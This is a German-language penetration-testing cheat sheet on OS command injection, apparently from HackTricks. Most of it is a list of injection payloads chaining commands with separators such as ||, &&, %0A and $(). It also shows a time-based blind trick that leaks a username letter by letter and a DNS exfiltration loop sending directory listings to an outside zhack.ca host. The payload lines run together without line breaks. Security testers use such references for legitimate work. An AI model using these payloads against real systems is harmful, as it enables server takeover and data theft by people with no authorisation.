Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:
Was ist eine Befehlsinjektion?
Eine Befehlsinjektion ermöglicht die Ausführung beliebiger Betriebssystembefehle durch einen Angreifer auf dem Server, der eine Anwendung hostet. Dadurch können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer in der Regel, unbefugten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
Kontext
Je nachdem, wo Ihre Eingabe injiziert wird, müssen Sie möglicherweise den quelltextbezogenen Kontext beenden (mit " oder ') vor den Befehlen.
#Both Unix and Windows supportedls||id; ls||id; ls||id; ls||id# Execute bothls|id; ls|id; ls|id; ls|id# Execute both (using a pipe)ls&&id; ls&&id; ls&&id; ls&&id# Execute 2º if 1º finish okls&id; ls&id; ls&id; ls&id# Execute both but you can only see the output of the 2ºls%0Aid# %0A Execute both (RECOMMENDED)#Only unix supported`ls`# ``$(ls)# $()ls; id# ; Chain commandsls${LS_COLORS:10:1}${IFS}id# Might be useful#Not executed but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
Einschränkungen umgehen
Wenn Sie versuchen, beliebige Befehle innerhalb einer Linux-Maschine auszuführen, sollten Sie sich für diese Umgehungen interessieren:
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS-basierte Datenexfiltration
Basierend auf dem Tool von https://github.com/HoLyVieR/dnsbin, das auch unter dnsbin.zhack.ca gehostet wird.
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute zugreifen: